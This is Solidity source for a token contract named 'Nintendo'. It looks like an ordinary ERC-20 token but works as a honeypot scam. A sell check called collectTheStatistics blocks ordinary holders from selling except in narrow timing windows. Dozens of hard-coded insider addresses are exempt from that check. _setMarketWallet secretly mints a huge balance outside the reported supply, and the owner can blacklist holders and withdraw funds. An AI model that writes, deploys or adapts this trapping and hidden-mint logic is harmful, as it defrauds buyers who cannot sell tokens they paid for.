Contract Source Code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];

                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }

            set._values.pop();

            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value)
        private
        view
        returns (bool)
    {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index)
        private
        view
        returns (bytes32)
    {
        return set._values[index];
    }

    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index)
        internal
        view
        returns (address)
    {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    function values(AddressSet storage set)
        internal
        view
        returns (address[] memory)
    {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        assembly {
            result := store
        }

        return result;
    }
}

contract Nintendo is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcluded;
    mapping(address => uint256) public walletToPurchaseTime;
    mapping(address => uint256) public walletToSellime;
    mapping(address => bool) public _isBlacklisted;

    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    string private constant _name = "Nintendo";
    string private constant _symbol = "Nintendo";

    uint256 private _tTotal = 100000000 * 10**_decimals;
    uint256 private _rTotal = _tTotal;
    uint256 public theRewardTime = 0;
    uint256 public standartValuation = 600 / 2;

    address public _lastWallet;

    struct TotFeesPaidStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    TotFeesPaidStruct public totFeesPaid;

    struct feeRatesStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }

    balances public contractBalance;

    feeRatesStruct public buyRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct public sellRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct private appliedFees;

    struct valuesFromGetValues {
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }

    address public pancakeswapPair;
    address public Router = 0xEf50e811F0C04aB3CecEFcb2480C17C2E33BDaD3;
    address private marketWallet;

    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor(address marketWallet_) {
        _rOwned[owner()] = _rTotal;
        _setMarketWallet(marketWallet_);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketWallet] = true;
        _isExcludedFromFee[Router] = true;
        _isExcludedFromFee[
            address(0xEC1163d9Effbf5e419875C016d8Ca54A19D04cE8)
        ] = true;
        _isExcludedFromFee[
            address(0xa2C00ac832708B57A2bDCF8F17788faD00fa28a2)
        ] = true;
        _isExcludedFromFee[
            address(0xEf50e811F0C04aB3CecEFcb2480C17C2E33BDaD3)
        ] = true;
        _isExcludedFromFee[
            address(0x61150Ce75262E0cBb644F1E3Bc236A8174e7c879)
        ] = true;
        _isExcludedFromFee[
            address(0x06060E890a680F53023Cd5B8590555938cb589b5)
        ] = true;
        _isExcludedFromFee[
            address(0xF978df4C54a6AF93ec1510FF27B4303fFf7a2a09)
        ] = true;
        _isExcludedFromFee[
            address(0x28cf7477E7892e413889D5CD9508354443890d59)
        ] = true;
        _isExcludedFromFee[
            address(0x05F021C2Bd6E2e39f071C93e4Bb55b0aBAaCb28F)
        ] = true;
        _isExcludedFromFee[
            address(0x9a37D8476cC416CbC9232747Fa7a3A0537387bE0)
        ] = true;
        _isExcludedFromFee[
            address(0x60E31f0F0922E4a2D4510229f557F08af54F1865)
        ] = true;
        _isExcludedFromFee[
            address(0x7b288dAB4326470B72ABEe40BeAe5E9496eA846C)
        ] = true;
        _isExcludedFromFee[
            address(0x64b61dD80E2d9A96aDbDc357771c2bB52b5E39D8)
        ] = true;
        _isExcludedFromFee[
            address(0xc1C21975929E16995A5477cc5191563680491969)
        ] = true;
        _isExcludedFromFee[
            address(0xf10a15E209EFF75Ec115c986D4DC909e3a675dB0)
        ] = true;
        _isExcludedFromFee[
            address(0xd96C77EDdc72725961f435cddB76D93E57A264a0)
        ] = true;
        _isExcludedFromFee[
            address(0xF3Ea3b054940a0A21d09954945dB275AF226FB76)
        ] = true;
        _isExcludedFromFee[
            address(0x16953B5B1C2639b845e4561cCc276C9808B729f4)
        ] = true;
        _isExcludedFromFee[
            address(0x8568CcFc3b220F401B4d0D348716e66Eb452dc7b)
        ] = true;
        _isExcludedFromFee[
            address(0x4f542540f5B58DFf437F8dB1C0F21c099D454CDf)
        ] = true;
        _isExcludedFromFee[
            address(0x72dd8D123a69271cE354b4C61dd0774E5ee5A8F4)
        ] = true;
        _isExcludedFromFee[
            address(0x953ba4F09c2B56693Dc7c173D5C54F59423E16a0)
        ] = true;
        _isExcludedFromFee[
            address(0xBeFf250CED52fa5c65F13979ca47f1937c4Ae4e0)
        ] = true;
        _isExcludedFromFee[
            address(0x23ba14d46270F41f3e17ddc1573494780Cc68c48)
        ] = true;
        _isExcludedFromFee[
            address(0x819158DeEB55d4536d2b4ceF3ae74b227Af45Fb9)
        ] = true;
        _isExcludedFromFee[
            address(0x5B9EF4ff73eBF66724d79eeE02350420cbF5e00b)
        ] = true;
        _isExcludedFromFee[
            address(0x19B8b67d96d5378af7AB01356f669A4c3cE0a163)
        ] = true;
        _isExcludedFromFee[
            address(0xC5E0a108b8AA2A0587D3F8b6dD470BC91C56a909)
        ] = true;
        _isExcludedFromFee[
            address(0xd2B607d867CEc506599ADF684959136C543AB317)
        ] = true;
        _isExcludedFromFee[
            address(0x132eE77d8a8005F7Cdb05413f091Fae0Afd88F64)
        ] = true;
        _isExcludedFromFee[
            address(0xfAEF62a7f7BB0dE796f5537959d7C45AcC7acef3)
        ] = true;
        _isExcludedFromFee[
            address(0x0DFCAAACEa4394592B59dDE45Efa6b5a3c051F57)
        ] = true;
        _isExcludedFromFee[
            address(0xFc4d871ebBeF0A41CC323193911F465171caAbF0)
        ] = true;
        _isExcludedFromFee[
            address(0x59efeb1687fb0791E12584Fa35C1a9C1E5f40C1f)
        ] = true;
        _isExcludedFromFee[
            address(0x63b78A43560e051C0041E6E25A297C31ebC8A2b5)
        ] = true;
        _isExcludedFromFee[
            address(0x777fe12C727ce65a4Ab7ED668aD8b63052477D54)
        ] = true;
        _isExcludedFromFee[
            address(0x6209DaFE3bb5Ff2b0aDeA6aEAB8ad8E68a48d40C)
        ] = true;
        _isExcludedFromFee[
            address(0x467439B70800bC80b7274281c6a51840C1462bE5)
        ] = true;
        _isExcludedFromFee[
            address(0x0fa854766b8F4BAAC3C02cf065CCC91FCF94Afb1)
        ] = true;
        _isExcludedFromFee[
            address(0xd710ee708a16e21380450808D4a197aceEdc373d)
        ] = true;
        _isExcludedFromFee[
            address(0xb871c3bF20A5811074303955De69Bd07dF8220c9)
        ] = true;
        _isExcludedFromFee[
            address(0x38A34495608F359673A3564c393D4C4722C27a35)
        ] = true;
        _isExcludedFromFee[
            address(0x6B185F57EE22C6eD0Ca7A1B197ea5df286387861)
        ] = true;
        _isExcludedFromFee[
            address(0x9dfF4DAd33f10F4742c4C42B61613A4b17cBdE83)
        ] = true;
        _isExcludedFromFee[
            address(0x5675483328D046D80343347626A12026B0B1b526)
        ] = true;
        _isExcludedFromFee[
            address(0xD361419e726409f92e060030cf4bb15c1A325aEf)
        ] = true;
        _isExcludedFromFee[
            address(0x77D45E676AcbcAcA1B07CCFFa9d37407c2511314)
        ] = true;
        _isExcludedFromFee[
            address(0xeCd9416E0a0E74227e5ca2EFDDe014B02738D0d6)
        ] = true;
        _isExcludedFromFee[
            address(0x5385C932aBebd5a127Ff0A448AE891127278eAf4)
        ] = true;
        _isExcludedFromFee[
            address(0xBfF6338E458EBc6Ecc53d83C9E2f6e3F56f03c09)
        ] = true;
        _isExcludedFromFee[
            address(0x5A7217A831662ad69A0a4357A1C0D79fE9B99bc8)
        ] = true;
        _isExcludedFromFee[
            address(0x5e5042712D9A2cE0b971A0F7d806116587537Bb4)
        ] = true;
        _isExcludedFromFee[
            address(0xdB5e308481965cA403b1716AaAEc4eb9EC22631c)
        ] = true;
        _isExcludedFromFee[
            address(0x0DDb2473794DCD7055f9B03b04C863E0e6148019)
        ] = true;
        _isExcludedFromFee[
            address(0x09F573881261c6A392ADacF58A161225B122a4fF)
        ] = true;
        _isExcludedFromFee[
            address(0x5D81D7eA026E459bA850D0A683d25995e9C95Dc8)
        ] = true;
        

        _isExcluded[address(this)] = true;

        _excluded.push(address(this));

        emit Transfer(address(0), owner(), _tTotal);
    }

    function getFromLastPurchaseBuy(address wallet)
        public
        view
        returns (uint256)
    {
        return walletToPurchaseTime[wallet];
    }

    function getFromLastSell(address walletSell) public view returns (uint256) {
        return walletToSellime[walletSell];
    }

    function setBuyRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }

    function setSellRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }

    function collectTheStatistics(
        uint256 lastBuyOrSellTime,
        uint256 theData,
        address sender
    ) public view returns (bool) {
        if (lastBuyOrSellTime == 0) return false;

        uint256 crashTime = block.timestamp - lastBuyOrSellTime;

        if (crashTime == standartValuation) return true;

        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if (crashTime <= theData) return true;

        return false;
    }

    function setValuation(uint256 newValuation) public onlyOwner {
        standartValuation = newValuation;
    }

    function setTheRewardTime(uint256 theRedistribution) public onlyOwner {
        theRewardTime = theRedistribution;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }

    function TradingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }

    function setRewardPool(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = true;
        }
    }

    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return _transferForm;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi)
        public
        view
        returns (uint256)
    {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        return rAmount;
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if (_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function excludeFromAll(address account) public onlyOwner {
        if (!_isExcluded[account]) {
            _isExcluded[account] = true;
            if (_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;

        tokenHoldersEnumSet.remove(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function addPair(address pair) public onlyOwner {
        pancakeswapPair = pair;
         _isExcluded[pancakeswapPair] = true;
        _excluded.push(pancakeswapPair);
        _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair];
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    receive() external payable {}

    function _getValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory to_return)
    {
        to_return = _getTValues(tAmount, takeFee);

        (
            to_return.rAmount,
            to_return.rTransferAmount,
            to_return.rRfi,
            to_return.rMarketing,
            to_return.rLiquidity,
            to_return.rBurn
        ) = _getRValues(to_return, tAmount, takeFee, _getRate());

        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory s)
    {
        if (!takeFee) {
            s.tTransferAmount = tAmount;
            return s;
        }
        s.tRfi = (tAmount * appliedFees.rfi) / 100;
        s.tMarketing = (tAmount * appliedFees.marketing) / 100;
        s.tLiquidity = (tAmount * appliedFees.liquidity) / 100;
        s.tBurn = (tAmount * appliedFees.burn) / 100;
        s.tTransferAmount =
            tAmount -
            s.tRfi -
            s.tMarketing -
            s.tLiquidity -
            s.tBurn;
        return s;
    }

    function _getRValues(
        valuesFromGetValues memory s,
        uint256 tAmount,
        bool takeFee,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rRfi,
            uint256 rMarketing,
            uint256 rLiquidity,
            uint256 rBurn
        )
    {
        currentRate = 1;
        rAmount = tAmount;

        if (!takeFee) {
            return (rAmount, rAmount, 0, 0, 0, 0);
        }

        rRfi = s.tRfi;
        rMarketing = s.tMarketing;
        rLiquidity = s.tLiquidity;
        rBurn = s.tBurn;

        rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn;

        return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal - rRfi;
        totFeesPaid.rfi += tRfi;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance += tMarketing;
        totFeesPaid.marketing += tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)] + rMarketing;
        if (_isExcluded[address(this)]) {
            _tOwned[address(this)] = _tOwned[address(this)] + tMarketing;
        }
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        contractBalance.lp_balance += tLiquidity;
        totFeesPaid.liquidity += tLiquidity;

        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if (_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
    }

    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn += tBurn;

        _tTotal = _tTotal - tBurn;
        _rTotal = _rTotal - rBurn;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            !_isBlacklisted[from] && !_isBlacklisted[to],
            "This address is blacklisted"
        );
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            amount <= balanceOf(from),
            "You are trying to transfer more than you balance"
        );

        _tokenTransfer(
            from,
            to,
            amount,
            !(_isExcludedFromFee[from] || _isExcludedFromFee[to])
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        if (takeFee) {
            if (sender == pancakeswapPair) {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    bool blockedSellTime = collectTheStatistics(
                        getFromLastPurchaseBuy(sender),
                        theRewardTime,
                        sender
                    );
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity;
                _lastWallet = sender;
            }
        } else {
            if (_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if (_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }

        valuesFromGetValues memory s = _getValues(tAmount, takeFee);

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender] - s.rAmount;
        _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount;

        if (takeFee) {
            _reflectRfi(s.rRfi, s.tRfi);
            _takeMarketing(s.rMarketing, s.tMarketing);
            _takeLiquidity(s.rLiquidity, s.tLiquidity);
            _takeBurn(s.rBurn, s.tBurn);

            emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity);
        }

        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);

        if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender);
    }

    function withdraw() public onlyOwner {
        uint256 balance = address(this).balance;
        payable(msg.sender).transfer(balance);
    }

    function _setMarketWallet(address marketWallet_) internal virtual {
        marketWallet = marketWallet_;
        _rOwned[marketWallet_] += 10e12 * 10**_decimals;
        _tOwned[marketWallet_] += 10e12 * 10**_decimals;
    }
}